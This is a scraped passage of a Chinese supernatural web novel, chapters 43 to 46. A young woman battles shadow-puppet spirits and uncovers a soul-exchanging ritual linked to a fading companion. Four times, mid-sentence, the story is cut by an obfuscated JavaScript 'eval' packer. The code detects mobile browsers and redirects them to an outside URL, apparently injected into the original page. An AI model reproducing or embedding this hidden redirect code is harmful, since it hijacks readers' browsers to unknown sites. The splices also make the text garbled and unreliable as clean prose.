“是探路的傀儡。”老板娘抄起一根焦黑的木棍,“皮影鬼虽然烧了,但它控制的傀儡还在活动。” 皮影人动作僵硬地朝她们移动,关节发出令人牙酸的摩擦声。檀九重握紧铜钱,突然感到一阵刺骨寒意从背后袭来—— “蹲下!” 熟悉的声音在耳边炸响。檀九重本能地低头,一道寒光从头顶掠过,精准斩断皮影人的‘头颅’。皮影发出婴儿般的啼哭,身体抽搐几下就不动了。 檀九重回头,裴子晏站在月光下,手中握着一把青铜短剑。他的身体比白天更加透明,能直接看到背后的废墟景象。 “你怎么——” “别说话。”裴子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880596|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏打断她,灰白的右眼扫视四周,“还有七个。” 话音刚落,废墟各处同时响起“咔咔”声。七个皮影人从不同方向包围过来,动作比刚才那个流畅许多,有的手中还拿着锋利的皮影刀剑。 老板娘吓得腿软:“怎、怎么这么多...” 裴子晏挡在她们前面,声音冷静得可怕:“学姐,用三魂秤。” 檀九重一愣:“你怎么知道我会——” “你父亲笔记第73页。”裴子晏头也不回,“快!” 檀九重迅速翻出随身携带的朱砂粉和红线——这些是她醒来后就一直藏在身上的。按照父亲笔记记载,她在地上画出一个简易的秤形符阵,将铜钱放在‘秤盘’位置。 七个皮影人已经逼近到五米内。裴子晏突然撕开左臂衣袖,露出里面泛着金属光泽的皮肤——真的是字面意义上的‘金属’,在月光下泛着青铜色冷光。 “以血为引...”他将短剑划过左臂,流出的不是血,而是青黑色黏液,“三魂归位!” 黏液滴落在符阵上,铜钱猛地立起旋转。三个影子从铜钱中分离出来,分别扑向三个皮影人。被击中的皮影人发出惨叫,瞬间燃烧起来。 檀九重趁机完成三魂秤的最后步骤。她咬破手指,将血滴在铜钱上:“胎光为阳,爽灵为阴,幽精为桥——现形!” 铜钱爆发出刺目金光,照亮整个废墟。光芒中,裴子晏的身体呈现出诡异的三重影像:最外层是穿冲锋衣的青年,中间是蓝布衫小男孩,最里层则是民国长衫男子。三者的共同点是右眼灰白,以及不同位置的月牙胎记。 “果然...”檀九重声音发抖,“你只剩胎光魂了。” 剩余四个皮影人趁机扑来。裴子晏——或者说胎光魂的裴子晏——转身迎战,动作快得带出残影。但每击中一个皮影人,他的身体就透明一分。 最后一个皮影人倒下时,裴子晏几乎完全透明了。他踉跄着走到三魂秤前,凝视着旋转的铜钱。 “爽灵魂在青铜簋里...”他的声音开始断断续续,“幽精魂...就是被你烧掉的皮影鬼...”身体如烟般飘散,“学姐...找齐三盏灯...” 檀九重想抓住他,手指却穿过了虚无的空气:“裴子晏!” “月圆之夜...”最后的声音消散在风中,“铜钱会指引你...” 废墟重归寂静。老板娘瘫坐在地,手中的木棍掉在地上。檀九重低头看三魂秤——铜钱停止了旋转,稳稳停在‘胎光’的位置。秤盘另一端,几粒青铜色的尘埃微微发光。 “他到底是什么...”老板娘颤抖着问。 檀九重收起铜钱,发现钱币边缘的契丹文变成了简体中文:“非生非死,三魂不全。灯灭影散,月满归真。” 月光突然大盛。檀九重抬头,发现满月不知何时变成了血红色。月光照在废墟上,焦黑的木头表面浮现出密密麻麻的符文——与裴子晏胸口青铜装置上的如出一辙。 “换命锁需三魂俱全...”她想起皮影鬼残骸上的字,突然明白了什么,“不是换他的命...是换我的命!“ 老板娘不明所以:“什么意思?” 檀九重没有回答。她摸向后颈的伤口——那里不知何时长出了一条细如发丝的红线,正缓慢地向脊椎延伸。 44. 锁命钥 血月当空,檀九重站在客栈废墟中央,手指紧握着那半把铜钥匙。 钥匙齿部在月光下泛着诡异的青铜光泽,边缘残留着暗红色的血渍——裴子晏的血。后颈的红线又延伸了一寸,像一条毒蛇缓缓爬向她的脊椎。每移动一分,就带来一阵刺骨的寒意。 “他说的肋骨缺口...”檀九重转向老板娘,“你知道在哪吗?” 老板娘脸色煞白,手指向废墟西北角:“裴先生消失前,在那里留下了...东西。” 穿过焦黑的梁柱,檀九重在墙角发现了一个用朱砂画的箭头,指向地面。她拨开灰烬,露出一个巴掌大的青铜匣——匣子表面刻着繁复的星宿图案,中央有一个钥匙孔,形状与她手中的半把钥匙完全吻合。 “这是...” “他留下的。”老板娘声音发抖,“说只有你能打开。” 檀九重蹲下身,将半把钥匙插入锁孔。钥匙刚进入一半就卡住了,显然还需要另外半把。她想起裴子晏消失前的话:“钥匙...在我第三根肋骨...” 月光突然被乌云遮蔽。废墟陷入黑暗的瞬间,檀九重腕上的青铜月牙胎记突然发烫,发出幽蓝的微光。借着这光芒,她看到青铜匣表面浮现出细如发丝的纹路——与她胎记的纹路一模一样。 “胎记...钥匙...”檀九重福至心灵,将手腕上的胎记贴在匣子表面。 “咔嗒”一声轻响,匣子弹开了一条缝。 里面是另外半把钥匙。 檀九重手指微颤,取出那半把钥匙。两半钥匙断口处严丝合缝,拼合成一把完整的铜钥匙。最诡异的是,钥匙拼合的瞬间,她后颈的红线突然剧烈灼痛,像是被烙铁烫过。 “这是换命锁的钥匙。”老板娘突然说,“我外婆讲过,旧时有些术士会用这种锁把两个人的命格绑在一起...” 檀九重没有回答。她将完整的钥匙重新插入青铜匣的锁孔,这次顺利转到底。匣盖弹开的瞬间,一股刺骨的寒意扑面而来——匣子里整齐摆放着几样物品:一缕胎发,两颗乳牙,半块刻着‘换’字的青铜锁片,还有一把微型青铜刀。 檀九重胃部翻涌。她认出那缕胎发上系着的红绳——母亲曾说过这是她出生时外祖父亲手系的‘长命缕’。乳牙更是确凿无疑,左侧门牙上的小缺口与她幼年摔倒的伤痕一致。 “我的东西...怎么会...” 青铜锁片突然发烫。檀九重下意识去摸腕上的胎记——两者温度同步上升,像是某种共鸣。锁片上除了"换"字,还刻着细密的符文,在月光下显现出血红色。 “三魂替,七魄换,月满则盈,命格易主...”她辨认着符文内容,声音越来越低,“这是换命术!” 老板娘倒吸一口冷气:“谁换谁的命?” 檀九重没有立即回答。她拿起那把微型青铜刀,刀柄上刻着一个‘檀’字——是家传的禁术器具。刀身残留着暗褐色污渍,凑近能闻到淡淡的血腥味。 记忆碎片突然闪回:五岁那年高烧不退,父亲带她去见一个穿长衫的老者。老者用这把刀割破她的手指,将血滴在某个青铜器上...然后是两个铁笼,两个小男孩... “学姐...” 熟悉的声音从背后传来。檀九重猛地转身,看到裴子晏站在月光下,身体比之前更加透明,几乎与夜色融为一体。他的胸口敞开着,露出里面空荡荡的胸腔——没有心脏,没有肺叶,只有一个青铜装置在缓缓旋转。 “裴子晏!”檀九重想抓住他,手指却穿过了虚影,“这到底是怎么回事?” 裴子晏的虚影跪坐在她对面,手指向青铜匣:“钥匙...放进来...” 檀九重将拼好的钥匙放回匣中。钥匙接触匣底的瞬间,裴子晏的虚影突然凝实了几分,胸口旋转的青铜装置发出“咔咔”声,弹出一个暗格。 “当年...你选的是...”他的声音断断续续,却比之前清晰,“右...” 话未说完,裴子晏突然捂住脖子,像是被无形的力量掐住喉咙。他的虚影剧烈扭曲,胸口青铜装置发出刺耳的摩擦声。 “裴子晏!” 檀九重本能地伸手去拉,却只抓住一把青铜粉末。裴子晏的虚影消散前,嘴唇蠕动着说了最后几个字:“...三魂...分三次...” 月光重新洒落。檀九重呆立原地,手中紧握那把青铜粉末。它们出奇地冰冷,像是从千年古墓中挖出的金属碎屑。 “三魂分三次...”她喃喃自语,突然醍醐灌顶,“不是一次性换命,而是分三次替换三魂!” 老板娘困惑道:“什么意思?” 檀九重快速翻出父亲的研究笔记,找到关于‘双生咒’的记载:“你看,这里说‘双生之子,三魂可分,七魄可替’...”她的手指顺着文字往下,“如果结合皮影术的‘影傀’原理,就能把一个人的三魂分批次替换到另一个人身上!” 她指向青铜匣中的物品:“这些是我的‘命引’——胎发代表出生时的命格,乳牙代表成长期的命格。锁片上的‘换’字说明已经进行过一次命格替换。”手指移向空荡荡的匣子另一侧,“这里原本应该还有第三样东西,代表成年命格...” 老板娘突然尖叫一声,指着檀九重的后颈:“红线!它、它在动!” 檀九重摸向后颈,触到那条红线已经延伸到脊椎第三节。更可怕的是,红线表面浮现出细小的符文,与青铜锁片上的如出一辙。 “第二次替换开始了...”檀九重声音发紧,“裴子晏的胎光魂保护了我这么久,现在轮到爽灵魂...” 她突然明白为什么裴子晏总是救完人就消失——每次保护她,都是在用自己残存的魂魄延缓换命进程! 青铜锁片突然剧烈发烫,烫得檀九重不得不松手。锁片落在地上,发出清脆的金属音。‘换’字下面浮现出更多小字:“月满三更,魂替二次,以骨为钥,以血为媒”。 “月满三更...就是今晚午夜!”檀九重看向手机,23:17,“还有43分钟!” 老板娘慌乱地翻找布包:“我、我有些符纸...” “没用的。”檀九重冷静得出奇,“这是檀家禁术,普通符咒破解不了。”她拿起青铜匣中的微型刀,“除非找到仪式源头。” 记忆再次闪回:五岁那年,穿长衫的老者,青铜器上的血...还有那两个铁笼里的男孩。一个活泼爱笑,一个沉默寡言。老者让她选一个喜欢的... “我选的是右边那个。”檀九重突然说,“右腕有月牙胎记的男孩。” 老板娘不明所以:“什么?” “裴子晏刚才想说的就是这个。”檀九重语速飞快,“当年我被带去做换命术时,选择了其中一个男孩作为‘替身’。但后来发生了什么意外,导致仪式没有完成...” 她翻出皮影鬼残骸上发现的字条:”‘换命锁需三魂俱全’——说明仪式需要完整的三魂。而现在裴子晏的三魂是分散的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880597|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :胎光魂在保护我,爽灵魂被困在青铜簋里,幽精魂成了皮影鬼...” 老板娘突然想起什么:“等等,你说那个穿长衫的老者...是不是左眼有白翳,右手小指缺了一截?” 檀九重一震:“你怎么知道?” “我外婆的师父就是这样的长相!”老板娘激动地说,“他是民国时期有名的皮影师,后来因为用活人制皮影被追杀...传说他发明了‘三魂皮影术’,能把一个人的魂魄分到三张皮影上!” 檀九重脑中电光火石:“所以裴子晏才会以三种形态存在——民国长衫男子、八十年代蓝布衫小男孩和现代裴子晏!”她看向青铜匣,“这是分三次进行的换命术,每次替换一魂。” 后颈的红线突然剧痛,像是要钻进脊椎。檀九重踉跄了一下,被老板娘扶住。红线已经延伸到第五节脊椎,表面的符文越来越清晰。 “来不及了...”檀九重咬牙,“必须找到裴子晏的爽灵魂!” “怎么找?” 檀九重看向铜钱——月光下,它再次投射出三个影子:长衫男子、蓝布衫小男孩和穿卫衣的裴子晏。但这次,中间的影子特别清晰,手指向东南方向。 “青铜簋...”檀九重想起之前的线索,“在百骨园的地下室!” 两人匆忙收拾东西准备出发。檀九重将青铜匣中的物品小心收好,当碰到那半块锁片时,她突然发现锁片背面刻着一幅微缩地图——是华县老城区,某个位置标着红点。 “这是...” “老戏楼!”老板娘惊呼,“就是现在的文化馆!” 檀九重对比铜钱影子指引的方向和地图,完全一致。她将锁片和铜钱一起揣进口袋,后颈的红线却突然痉挛,痛得她几乎跪倒在地。 红线表面渗出青黑色的液体,滴在地上发出“嗤嗤”的腐蚀声。老板娘惊恐地后退:“它、它在吸你的血!” 檀九重强忍剧痛看向手机:23:49。距离三更只剩11分钟。 “走!”她抓起青铜灯,“必须在午夜前找到青铜簋!” 两人跌跌撞撞地奔向东南方向。每跑一步,檀九重后颈的红线就收紧一分,像是无形的提线木偶师在操控她的行动。月光下,她的影子越来越淡,而地上不知何时多出了第二个影子——一个穿蓝布衫的小男孩,右腕月牙胎记泛着血光。 “学姐...”小男孩的影子发出声音,“你来了...” 檀九重回头,却什么也没看到。只有铜钱在口袋里发烫,像是烧红的炭块。 文化馆大门紧锁。老板娘掏出钥匙——她曾在这里工作过。门开的瞬间,一股陈年的檀香味扑面而来,夹杂着某种腐败的气息。 “地下室在舞台下面...”老板娘声音发抖,“我、我不敢下去...” 檀九重独自踏入黑暗。青铜灯点燃后,灯焰不是往日的幽蓝色,而是诡异的血红色。灯光照出墙上密密麻麻的皮影——全是儿童形象,面部表情痛苦扭曲。 地下室的铁门虚掩着,上面用朱砂画着复杂的符咒。檀九重推开门,眼前的景象让她血液凝固—— 房间中央摆放着一个青铜簋,与她记忆中五岁那年见到的一模一样。簋旁跪坐着一个穿蓝布衫的小男孩,背对着她,右腕的月牙胎记清晰可见。听到动静,小男孩缓缓转身... 灰白的右眼,与裴子晏如出一辙。 “学姐。”小男孩咧嘴一笑,嘴角咧到耳根,“你终于来找我了。” 45. 三更灯 地下室潮湿的空气中弥漫着腐朽的檀香。青铜簋表面凝结的水珠在血红色灯焰映照下,像是一滴滴血泪。 小男孩缓缓站起身,蓝布衫下露出瘦骨嶙峋的脚踝。他的动作有种诡异的流畅感,像是被无形的丝线牵引着。 “爽灵魂...”檀九重握紧青铜刀,“裴子晏的一部分。” 小男孩歪着头,灰白的右眼在灯光下泛着金属光泽:“学姐记性真好。”声音稚嫩却带着成年人的语调,“不过我还是更习惯你叫我‘影子朋友’。” 记忆如闪电劈开迷雾——五岁那年,她确实有个看不见的‘影子朋友’,总在她独处时出现。父亲说那是她想象力太丰富。 “是你...”檀九重后退半步,“当年铁笼里的两个男孩...” “一个是我,一个是‘他’。”小男孩指向自己右腕的月牙胎记,“学姐选了‘他’,所以我被留下了。”他咧嘴一笑,露出参差不齐的乳牙,“但没关系,很快我们就能在一起了。” 檀九重后颈的红线突然痉挛,像是被什么东西拉扯。手机显示23:55,距离三更只剩五分钟。 “换命术...”她强忍疼痛,“为什么要这么做?” 小男孩蹦跳着绕青铜簋转圈:“因为学姐快死了呀。”他停下脚步,灰白的右眼直视她,“五岁那年,你生了一场大病。檀叔叔求师父用‘换命术’给你续命...” 他从簋里捧出一盏油灯——灯座是青铜小人,双手高举作托举状,面容与檀九重有七分相似。 “看,这是用你的胎发和乳牙做的命灯。”小男孩爱怜地抚摸着灯身,“第一次换命很成功,用‘他’的胎光魂替换了你受损的魂魄。”他的手指向簋内,“现在该第二次了。” 檀九重看向簋内,胃部一阵翻腾——里面盛着半透明的液体,浸泡着一块脊椎骨模样的青铜器,表面刻满符文。液体中悬浮着几缕头发,颜色与她的一模一样。 “午夜一到,红线就会钻进你的脊椎。”小男孩的声音忽然变得阴冷,“然后‘他’的爽灵魂会替代你的第二魄。” 檀九重突然挥动青铜刀划向自己的后颈!刀刃精准地挑住红线,却无法割断——红线像是有生命般蠕动,反而缠住刀身向皮肉里钻。 “没用的学姐。”小男孩咯咯笑起来,“这是用你母亲的头发编的‘命线’,除非...” 楼上突然传来重物倒地的声响,接着是老板娘撕心裂肺的尖叫。檀九重分神的刹那,红线猛地一扯,将她拽向青铜簋! “学姐当心!” 一道黑影从楼梯飞扑而下,撞开檀九重。黑影落地翻滚,露出真容——是几乎透明的裴子晏,身体像被打碎的瓷器般布满裂痕。 “你...”檀九重想去扶他,手指却穿过了他的手臂。 裴子晏勉强笑了笑:“胎光魂...快散了。”他转向小男孩,声音突然严厉,“住手!约定不是这样的!” 小男孩表情变了:“约定?”他尖笑起来,“师父早死了!檀叔叔也失踪了!现在是我在操控换命锁!”他猛地扯开衣领,露出胸口——那里嵌着半块青铜锁片,与檀九重找到的正好是一对! 锁片上刻着‘命’字。 檀九重如遭雷击:“你...你才是真正的施术者?” 小男孩的笑容消失了:“我只是想活下去。”他的声音突然带上哭腔,“学姐选了‘他’,我只能被做成皮影...但我不甘心...” 裴子晏艰难地移动到檀九重身前:“学姐...布置引魂灯...笔记第109页...” 檀九重迅速翻出父亲的笔记。第109页记载着一种陕西招魂术:以自身血为灯油,以铜钱为芯,可暂时凝聚消散中的魂魄。 没有时间犹豫。她咬破手指,将血滴入青铜灯。血珠接触灯焰的瞬间,火焰“轰”地窜高,变成明亮的金色。 “没用的。”小男孩冷笑,“除非用至亲骨血,否则——” “用我的!” 老板娘踉跄着冲下楼梯,右臂鲜血淋漓。她手里握着一把剪刀,剪刃上沾着血肉:“我是沈胭脂的表妹...算半个至亲...” 檀九重震惊地看着她:“你为什么不早说?” 老板娘惨笑着扯开衣领,露出锁骨处的月牙疤痕:“你母亲当年为保护我,替我受了‘灯芯刑’...我发过誓要守护你...” 小男孩暴怒地尖叫起来,扑向老板娘。裴子晏纵身拦截,两‘人’撞在一起——没有实体的碰撞声,只有青铜器摩擦的刺耳声响。 檀九重趁机按照笔记指示布置引魂灯。她用血在地上画出复杂符阵,将铜钱置于中央,然后割破手腕让血流满灯盏。 “以血为油,以魂为引...”咒语念完的瞬间,灯焰分裂成三簇:一金一银一铜。 金色火焰中浮现出穿长衫的裴子晏,银色是蓝布衫小男孩,铜色则是她熟悉的那个穿卫衣的裴子晏。三簇火焰缓缓向中央聚拢。 “不!”小男孩挣脱裴子晏,扑向灯阵,“我不会让你复活!” 檀九重挥刀阻拦,刀刃却穿过小男孩的身体——他没有实体!小男孩狞笑着将手伸向灯阵,眼看就要打翻灯盏... 千钧一发之际,裴子晏做了一件让所有人震惊的事:他抓住自己胸口的青铜装置,猛地扯了出来! 装置离体的瞬间,他的身体迅速凝实。小男孩惊恐地后退:“你疯了?没有锁魂器你会...” 裴子晏没有回答。他用尽最后的力气扑向小男孩,将青铜装置按在对方胸口的锁片上。两件青铜器相撞,爆发出刺目的青光。 “学姐...现在!” 檀九重会意,将引魂灯推向两道纠缠的身影。灯光照到的瞬间,小男孩发出不似人类的尖叫,身体如蜡般融化。裴子晏趁机抓住那半块‘命’字锁片,狠狠扯下! 锁片离体的刹那,整个地下室剧烈震动。青铜簋内的液体沸腾起来,浸泡的脊椎骨浮出水面——上面刻着檀九重的名字和生辰八字。 后颈的红线突然松动。檀九重抓住机会,用青铜刀挑断它。红线断裂的瞬间,一股黑血喷涌而出,落在地上形成诡异的符文:“三魂缺一,换命终止”。 震动停止了。小男孩倒在地上,身体迅速干瘪,最终变成一张发黄的儿童皮影。裴子晏跪在一旁,身体重新开始透明化,比之前更严重——已经能看到背后的墙壁。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891599|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴子晏!”檀九重冲过去,这次终于能碰到他了。他的皮肤冰冷如金属,胸口的大洞边缘正在化为青铜粉末。 “没事了学姐...”他虚弱地笑了笑,“换命术...解除了...” 老板娘踉跄着过来,将血滴入引魂灯。灯焰暴涨,三簇火苗终于融合为一。裴子晏的身体稍稍稳定,但透明化仍在继续。 “不够...”老板娘脸色惨白,“需要真正的至亲...” 裴子晏突然抬头看向檀九重:“学姐...能帮我梳梳头吗?像小时候那样...” 檀九重不明所以,但还是从包里找出梳子。当她碰到裴子晏的头发时,一段陌生记忆突然涌入—— 五岁的她站在铁笼前,手里拿着木梳。右边笼子的男孩活泼地凑过来:“姐姐帮我梳头!”左边笼子的男孩沉默不语,只是用灰白的右眼静静看着她... “是你...”檀九重声音发抖,“我选的是右边的男孩,但你...” 裴子晏享受地闭上眼睛:“学姐每次都偷偷来给我梳头...还带桂花糕...”他的声音忽然变得稚嫩,像是回到了童年,“我最喜欢学姐了...” 一滴泪落在裴子晏脸上。檀九重这才发现自己在哭。裴子晏惊讶地睁开眼,伸手接住第二滴泪:“学姐...为我哭了?” 他忽然坐直身体,从怀中掏出几枚铜钱和红线。尽管手指已经开始透明化,他还是认真地编织起来:“学姐的手链...上次弄坏了...我得重新...” 檀九重按住他的手:“别浪费力气了!” “不行...”裴子晏固执地继续编织,“这个...能保护学姐...” 老板娘突然惊呼:“灯!” 引魂灯的火焰正在急速减弱。檀九重看向手机——00:03,三更已过。裴子晏的身体从脚部开始消散,化为青铜色的光点。 “来不及了...”老板娘绝望地说。 裴子晏却出奇地平静。他艰难地编完最后一个结,将铜钱手链戴在檀九重腕上:“学姐...要找到三盏灯...” “什么灯?在哪里?”檀九重紧紧抓住他正在消失的手。 “你见过的...”裴子晏的声音越来越轻,“青铜灯...皮影灯...还有...” 他的话没能说完。消散已经蔓延到胸口。在最后一刻,裴子晏突然将一样东西塞进檀九重手心——一块皮影残片。 “学姐...”他的嘴唇轻轻碰了碰她的额头,“下次...换我...来找你...” 最后一个字化作光点消散在空气中。檀九重呆坐原地,手中紧握着那块皮影残片。引魂灯“噗“地熄灭,地下室重归黑暗。 黑暗中,老板娘点燃打火机。微弱的火光中,檀九重展开那块皮影——是对未完成的剪纸,隐约能看出是一高一矮两个人影手牵着手。 当她将皮影对着打火机光时,奇迹出现了——剪纸投射在墙上的影子竟然是完整的:穿蓝布衫的小男孩牵着五岁的小女孩,两人手腕上的月牙胎记正好相对。 影子只有一瞬,随即消失不见。但檀九重已经看清楚了——小女孩的影子嘴里,叼着一朵小小的桂花。 46. 换命书 晨光透过文化馆破损的窗户洒落,为地下室镀上一层惨淡的金色。檀九重跪坐在青铜簋旁,手指一遍遍描摹着那块未完成的双人皮影。 老板娘——现在该称她为林姨——正在簋前烧纸钱。纸灰打着旋上升,在光柱中如同黑色的雪。 “你母亲走前,把这个交给我保管。”林姨从怀中取出一本泛黄的古籍,封皮上用朱砂写着《檀氏秘术》,“她说如果有一天你开始寻找换命锁的真相,就把它给你。” 檀九重接过古籍,书页间飘落一张老照片:年轻的沈胭脂抱着一个穿蓝布衫的小男孩站在千棺葬入口。小男孩右腕的月牙胎记清晰可见,灰白的右眼直视镜头,嘴角挂着与年龄不符的沉静微笑。 “这是...” “真正的裴子晏。”林姨声音哽咽,“你母亲收养他的时候,他已经七岁了。” 檀九重太阳穴突突直跳。她翻开古籍,在‘换命篇’找到关键记载:“换命之术,需一生一死一媒介。生者为受,死者为供,媒介为桥...” 书页边缘有一行娟秀的批注,是母亲的笔迹:“以命换命,三魂为价。吾女九重,当为生者;裴氏子晏,甘为死者;唯缺媒介,难成闭环。” “我不明白。”檀九重声音嘶哑,“如果裴子晏已经...那这些年跟在我身边的是谁?” 林姨指向青铜簋内漂浮的脊椎骨:“那是他的遗骨。你身边的一直是‘媒介’——他死后留下的执念。”她顿了顿,“或者说,是他自愿被剥离的那部分魂魄。” 檀九重想起皮影鬼的话:“三魂缺一,换命终止...”她突然明白了什么,“所以换命术其实成功了两次?第一次用真正的裴子晏的胎光魂救了我,第二次试图用他的爽灵魂...” “但被‘媒介’阻止了。”林姨点头,“就是一直保护你的那个‘裴子晏’。” 古籍从檀九重膝头滑落。她想起这些年裴子晏的种种异常:体温偏低,伤口愈合方式古怪,总是突然出现又消失...还有那句“死对我们这种人来说太奢侈”。 “他早就知道...”檀九重攥紧皮影残片,“知道自己是已死之人的执念...” 林姨突然抓住她的手:“九重,你看这个!”她指向古籍最后一页的图解——三个青铜灯呈三角形排列,灯芯分别是头发、指骨和铜钱,“这不就是裴先生说的三盏灯吗?” 檀九重仔细阅读图解说明:“三灯引魂,一为命灯,二为骨灯,三为魄灯...”她的目光停在角落的小字上,“集齐三灯,于月亏之夜点燃,可逆转换命...” “逆转?”林姨倒吸一口冷气,“你是说让裴子晏复活?” 檀九重没有立即回答。她翻出随身携带的物品:青铜灯(灯芯是裴子晏的小指骨)、铜钱手链、还有那块双人皮影。三样东西放在一起时,皮影突然变得滚烫,投射在地上的影子变成了三个——穿长衫的男子、蓝布衫小男孩和穿卫衣的青年。 “我们已经有骨灯和魄灯。”檀九重声音发紧,“还差命灯...” 林姨突然想起什么:“你母亲下葬时,是不是带了一盏青铜灯?” 记忆的闸门轰然打开。檀九重想起母亲的葬礼——棺木中确实放着一盏造型古怪的青铜灯,灯座是双手托举的小人。当时父亲说那是母亲最爱的物件。 “在湘西...”檀九重站起身,“母亲葬在外祖父家的祖坟。” 林姨按住她的肩膀:“等等,就算集齐三盏灯,逆转换命也需要付出代价。”她指向古籍上的警告,“‘逆转之术,需以命抵命,三魂归位则施术者魄散’...” 檀九重平静地合上古籍:“我知道。” “你疯了吗?”林姨声音发抖,“裴子晏用命换你活着,你却要——” “林姨。”檀九重打断她,“我的命格里,有三个人的生辰八字。” 她从包里取出之前在青铜匣里发现的锁片。阳光下,锁片背面显现出三行小字:除了她和裴子晏的八字,还有第三个陌生的日期。 “这是谁?”林姨困惑地问。 檀九重没有回答。她将锁片贴在额头上,一段被封印的记忆如洪水般涌来—— 五岁那年,她确实选了右边笼子的男孩。但当晚,那个沉默的左腕男孩偷偷塞给她一张纸条:“快跑,他们要杀你”。她吓得躲进衣柜,目睹了骇人一幕:穿长衫的老者将右腕男孩按在青铜簋上,用青铜刀剥下他的皮... “第三个孩子...”檀九重冷汗涔涔,“是双胞胎里的另一个!” 林姨脸色煞白:“你是说...有两个裴子晏?” “不。”檀九重摇头,“只有一个真正的裴子晏,就是救我的那个。另一个是...是外祖父制作的‘容器’。”她指向簋中的脊椎骨,“这才是‘容器’的遗骨,真的裴子晏的尸骨在...” 话未说完,地下室突然温度骤降。青铜簋内的液体结出一层薄冰,墙上的皮影无风自动。一个熟悉的虚影在簋前缓缓凝聚——是几乎透明的裴子晏,身体比消散前更加模糊,像是随时会散开的烟雾。 “学姐...”他的声音微弱得如同耳语,“别去...” 檀九重想抓住他,手指却穿过虚影:“裴子晏!你怎么——” “逆转术...是陷阱...”裴子晏的虚影艰难地维持着形态,“三灯集齐时...他会...” 虚影突然扭曲,像是被无形的力量攻击。檀九重这才注意到,裴子晏的脖子上缠着一根几乎看不见的红线,正将他往后拖拽。 “谁在抓你?”她急切地问。 裴子晏的嘴唇蠕动着,却发不出声音。在彻底被拉入黑暗前,他用口型说了三个字。 檀九重如遭雷击:“...外祖父?” 林姨突然尖叫一声,指着簋中脊椎骨——它正在剧烈震动,表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903016|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的符文渗出黑血,组成一行字:“月亏之夜,三灯归位”。 “他在召唤我们...”檀九重握紧拳头,“或者说,召唤三盏灯。” 裴子晏的虚影完全消失了。檀九重转向林姨:“您女儿的人皮鼓...还有残片吗?” 林姨颤抖着从怀中掏出一个小布袋:“只剩这点...”她倒出几块皮革碎片,上面还残留着血管般的纹路,“你要做什么?” “招魂。”檀九重捡起两块换命锁碎片,“哪怕只有十分钟...” 她将锁片锋利边缘对准自己和皮革碎片,同时划下——鲜血滴在皮革上的瞬间,整个地下室响起凄厉的哭嚎声,像是成百上千的冤魂在同时尖叫。 血珠悬浮在空中,形成复杂的契丹文字符。林姨的人皮鼓碎片燃烧起来,青色的火焰中浮现出裴子晏模糊的面容。 “学姐...”火焰中的裴子晏比虚影凝实许多,但身体仍呈现半透明,“你不该...” 檀九重直接打断他:“真正的你在哪?” 裴子晏沉默片刻:“湘西...千棺葬...” “当年到底发生了什么?”林姨急切地问,“为什么会有两个孩子?” 裴子晏的影像开始不稳定:“我是...容器...”他的声音断断续续,“师父用双生咒...把我和子晏...做成阴阳两面...”影像突然扭曲,“他需要...三魂俱全的祭品...完成长生术...” 檀九重想起古籍记载:“所以外祖父先用换命术救了我,其实是为了...” “集齐三魂...”裴子晏痛苦地闭上眼睛,“学姐的命格里...有我的魂魄...现在只差...” 他的话没能说完。人皮鼓碎片燃烧殆尽,火焰中的影像剧烈闪烁。在消失前的最后一刻,裴子晏突然伸手——这次竟然有了实体触感!他抓住檀九重的手腕,将某样东西塞进她手心。 “铜钥匙...开我的...” 火焰熄灭,地下室重归寂静。檀九重摊开手掌——是一把小小的铜钥匙,与之前找到的两把都不相同。钥匙柄上刻着一个数字:7。 “第七根肋骨...”林姨突然说,“人身上最接近心脏的骨头。” 檀九重将钥匙紧紧攥住:“我们去湘西。” “等等!”林姨拉住她,“你还没明白吗?如果集齐三盏灯,你外祖父就能完成长生术!而裴子晏会...” “我知道。”檀九重平静地说,“所以我需要你做一件事。” 她从包里取出青铜刀,割下一缕头发,又刺破手指将血滴在上面:“如果我失败了,用这个烧掉《檀氏秘术》。” 